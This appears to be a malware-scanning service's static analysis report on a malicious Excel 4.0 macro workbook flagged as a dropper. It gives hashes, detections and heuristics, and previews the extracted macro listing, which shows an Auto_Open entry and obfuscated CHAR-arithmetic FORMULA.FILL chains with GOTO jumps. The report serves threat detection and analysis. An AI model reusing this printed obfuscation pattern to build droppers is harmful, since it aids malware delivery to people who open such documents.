Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a9db486a068beffd…

MALICIOUS

Office (OLE)

188.5 KB Created: 2020-05-08 12:12:33 Authoring application: Microsoft Excel First seen: 2020-08-25
MD5: 8fb2b2f873691c0e7e0d89ac072af4a5 SHA-1: 0ec065791cb04e22ac4a7a07b5358e2654109240 SHA-256: a9db486a068beffd856e8ffe538d4a97ab1596d606d35129beeef40ec0fffe2d
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook detected as malicious by ClamAV. Heuristics indicate the presence of an Auto_Open macro that utilizes dangerous functions, specifically 'RUN', suggesting it's designed to execute arbitrary code. The extracted macro script contains a FORMULA.FILL function call that appears to be constructing a command or payload, likely for downloading and executing a second-stage malicious file.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-8909683-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-8909683-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 126373 bytes
SHA-256: 525fb510257b8725c15590287043a52ea4b974cc750d0754290937f424d79447
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!BF30457 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,DI11,"",-0.20363636363636361537
'  Sheet,FY52,"",145.00000000000000000000
'  Sheet,EY58,"",-58.00000000000000000000
'  Sheet,CE73,"",-424.00000000000000000000
'  Sheet,DS80,"",-67.00000000000000000000
'  Sheet,HA92,"",-0.58974358974358975782
'  Sheet,GE93,"",-122.00000000000000000000
'  Sheet,CE114,"",-0.16180371352785147265
'  Sheet,HG123,"FORMULA.FILL(CHAR(IK48023*HZ60109)&CHAR(EB51020/CZ33389)&CHAR(IK48023*FA8462)&CHAR(EG8909-CE11448)&CHAR(GN1966-FW39497)&CHAR(GN1966/FS38916)&CHAR(GN1966+FP7024)&CHAR(GN1966-GJ13045)&CHAR(GP47863/FU3764)&CHAR(EB51020-JF13863)&CHAR(IK48023+Z29844)&CHAR(DA27339-D46929)&CHAR(GN1966-HW16681)&CHAR(DA27339/CS2433)&CHAR(FB34779/HL56633)&CHAR(DZ24957*EZ12236)&CHAR(IQ60321+A17147)&CHAR(EB51020*GE44452)&CHAR(FB34779-HB12222)&CHAR(GN1966-EL35197)&CHAR(FB34779*IZ27750)&CHAR(DZ24957-HB60047)&CHAR(GN1966*IS36216)&CHAR(DZ24957/DI11)&CHAR(FB34779/R30752)&CHAR(EG8909-DH27301)&CHAR(EW3762*IO59183)&CHAR(IQ60321-JI57841)&CHAR(EB51020/HQ28018)&CHAR(GP47863/FF58087)&CHAR(EG8909*HA62516)&CHAR(IK48023+GA63018)&CHAR(IK48023-JH11176)&CHAR(IQ60321/GF26006)&CHAR(DA27339*CO30720)&CHAR(DA27339/CB11228)&CHAR(DZ24957*HO28660)&CHAR(IK48023*GF18239)&CHAR(DZ24957/FH41389)&CHAR(EB51020/EU41276)&CHAR(EB51020*GN42751)&CHAR(IK48023-L18948)&CHAR(DA27339-EZ28256)&CHAR(GP47863+CK61330)&CHAR(IK48023*EZ55728)&CHAR(EG8909-EB30113)&CHAR(DA27339/CN18318)&CHAR(DZ24957/EK59853)&CHAR(FB34779-GQ59807)&CHAR(IQ60321/DG50316)&CHAR(IQ60321*FH25606)&CHAR(GP47863-HH6335)&CHAR(EB51020-BT17365)&CHAR(EG8909*HG2547)&CHAR(FB34779+EX6629)&CHAR(DZ24957+EF65299)&CHAR(GN1966-BR22589)&CHAR(GN1966/DL18305)&CHAR(EG8909-HG24522)&CHAR(EG8909/DR39129)&CHAR(IK48023+GN35282)&CHAR(GN1966*FJ25136)&CHAR(FB34779-HK60797)&CHAR(FB34779+BX17618)&CHAR(EG8909*CJ30995)&CHAR(DZ24957/HZ56783)&CHAR(EB51020/IZ15465)&CHAR(EG8909-ED62633)&CHAR(GN1966+BC61984)&CHAR(GN1966+HC14846),HG124)",""
'  Sheet,HG125,GOTO(HH62014),""
'  Sheet,GQ199,"",38.00000000000000000000
'  Sheet,BN291,"",-0.74193548387096774910
'  Sheet,CO326,"",-634.00000000000000000000
'  Sheet,GK342,"",0.26373626373626374297
'  Sheet,FK388,"",-23.00000000000000000000
'  Sheet,ET423,"",4.56818181818181834331
'  Sheet,BW431,"",1.32786885245901631336
'  Sheet,GD467,"",45.00000000000000000000
'  Sheet,FK471,"",-450.00000000000000000000
'  Sheet,BA485,"FORMULA.FILL(CHAR(DZ24957/HD21457)&CHAR(DZ24957-FT61036)&CHAR(IQ60321/FX25983)&CHAR(DZ24957+CX56650)&CHAR(EW3762-DC35153)&CHAR(EG8909+JJ39876)&CHAR(DA27339/ER3315)&CHAR(EG8909/FU13048)&CHAR(GP47863+M50235)&CHAR(GP47863/IE24881)&CHAR(EB51020/DN48156)&CHAR(EG8909-GJ41353)&CHAR(GN1966+DK35683)&CHAR(IK48023+DG6712)&CHAR(EW3762/CW44167)&CHAR(FB34779/GJ63602)&CHAR(EW3762-FJ63317)&CHAR(IQ60321+FG49482)&CHAR(IK48023/BG15480)&CHAR(GN1966+BQ4342)&CHAR(DZ24957-E39597)&CHAR(FB34779*BH37759)&CHAR(EB51020-IW38684)&CHAR(DA27339-Q3778),BA486)",""
'  Sheet,BA487,GOTO(FK7007),""
'  Sheet,DT572,"",-5.35000488281249975131
'  Sheet,GL573,"",113.40007812499999317879
'  Sheet,E616,"",62.40003906249999943157
'  Sheet,GG633,"",25.00000000000000000000
'  Sheet,GU780,"",-3.27826086956521756122
'  Sheet,IF789,"",-38.00000000000000000000
'  Sheet,ES817,"FORMULA.FILL(CHAR(IR10911+JR58961)&CHAR(CP6973/DB4138)&CHAR(FE34976*BA59118)&CHAR(BZ17735+IQ7881)&CHAR(BZ17735/HF49390)&CHAR(FE34976+JL23566)&CHAR(IR10911-CG32509)&CHAR(FK40165+JA29169)&CHAR(JB832/BX64316)&CHAR(BK45921+FJ7191)&CHAR(IR10911-GN44842)&CHAR(BK45921-HA13706)&CHAR(GC35074+HY47882)&CHAR(IR10911+FN43269)&CHAR(GC35074*FO28693)&CHAR(CO23481/EQ23698)&CHAR(FI25867*FK19738)&CHAR(CO23481/HL27312)&CHAR(FI25867/EL10426)&CHAR(BZ17735/U41455)&CHAR(GC35074/HU47031)&C
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.